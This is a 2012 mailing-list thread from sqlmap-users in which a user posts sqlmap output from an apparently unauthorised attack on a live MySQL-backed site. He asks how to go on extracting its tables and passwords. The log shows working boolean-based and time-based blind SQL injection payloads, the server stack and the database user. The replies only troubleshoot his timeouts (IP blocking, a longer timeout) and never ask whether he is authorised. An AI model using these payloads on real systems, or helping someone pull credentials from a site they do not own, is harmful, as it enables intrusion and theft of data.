Re: [sqlmap-users] sqlmap always tell Connection timed out to the target url
Brought to you by:
inquisb
From: James <ja...@ev...> - 2012-06-24 05:03:38
|
I've had sites with poorly configured SQL servers time out. It happens. You should probably try increasing the time out first of all. James On 06/24/2012 12:33 AM, Iago Sousa wrote: > > I think that the site is blocking your ip address. > >> On Jun 23, 2012 11:09 PM, "Bob" <sto...@qq... >> <mailto:sto...@qq...>> wrote: >> >> >> Hi all, >> >> I am use sqlmap to retrieve database >> >> current-user and current-db can workable >> >> retrieve tables ,passwords etc will response time out >> >> Could you tell me what is the problem ? how i can retrieve tables and >> passwords ? >> >> Thanks >> >> bob >> [09:56:07] [INFO] testing connection to the target url >> sqlmap identified the following injection points with a total of 0 >> HTTP(s) requests: >> --- >> Place: GET >> Parameter: c_sn >> Type: boolean-based blind >> Title: AND boolean-based blind - WHERE or HAVING clause >> Payload: c_sn=2' AND 8126=8126 AND 'Cqlm'='Cqlm >> >> Type: AND/OR time-based blind >> Title: MySQL > 5.0.11 AND time-based blind >> Payload: c_sn=2' AND SLEEP(5) AND 'eKVl'='eKVl >> --- >> >> [09:56:08] [INFO] testing MySQL >> [09:56:08] [INFO] confirming MySQL >> [09:56:08] [INFO] the back-end DBMS is MySQL >> web server operating system: Linux CentOS 5 >> web application technology: Apache 2.2.3, PHP 5.1.6 >> back-end DBMS: MySQL >= 5.0.0 >> [09:56:08] [INFO] fetching current user >> [09:56:08] [INFO] resumed: keyway_db@localhost >> current user: 'keyway_db@localhost' >> >> [09:56:08] [INFO] fetching database users privileges >> [09:56:08] [INFO] fetching database users >> [09:56:08] [INFO] fetching number of database users >> [09:56:08] [WARNING] running in a single-thread mode. Please consider >> usage of option '--threads' for faster data retrieval >> [09:56:08] [INFO] retrieved: >> [09:57:09] [CRITICAL] connection timed out to the target url or >> proxy, sqlmap is going to retry the request >> [09:58:10] [CRITICAL] connection timed out to the target url or >> proxy, sqlmap is going to retry the request >> [09:59:11] [CRITICAL] connection timed out to the target url or >> proxy, sqlmap is going to retry the request >> [10:00:12] [CRITICAL] connection timed out to the target url or proxy >> >> [*] shutting down at 10:00:12 >> >> >> >> ------------------------------------------------------------------------------ >> Live Security Virtual Conference >> Exclusive live event will cover all the ways today's security and >> threat landscape has changed and how IT managers can respond. Discussions >> will include endpoint security, mobile security and the latest in malware >> threats. http://www.accelacomm.com/jaw/sfrnl04242012/114/50122263/ >> _______________________________________________ >> sqlmap-users mailing list >> sql...@li... >> <mailto:sql...@li...> >> https://lists.sourceforge.net/lists/listinfo/sqlmap-users >> > > ------------------------------------------------------------------------------ > Live Security Virtual Conference > Exclusive live event will cover all the ways today's security and > threat landscape has changed and how IT managers can respond. Discussions > will include endpoint security, mobile security and the latest in malware > threats. http://www.accelacomm.com/jaw/sfrnl04242012/114/50122263/ > > > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > |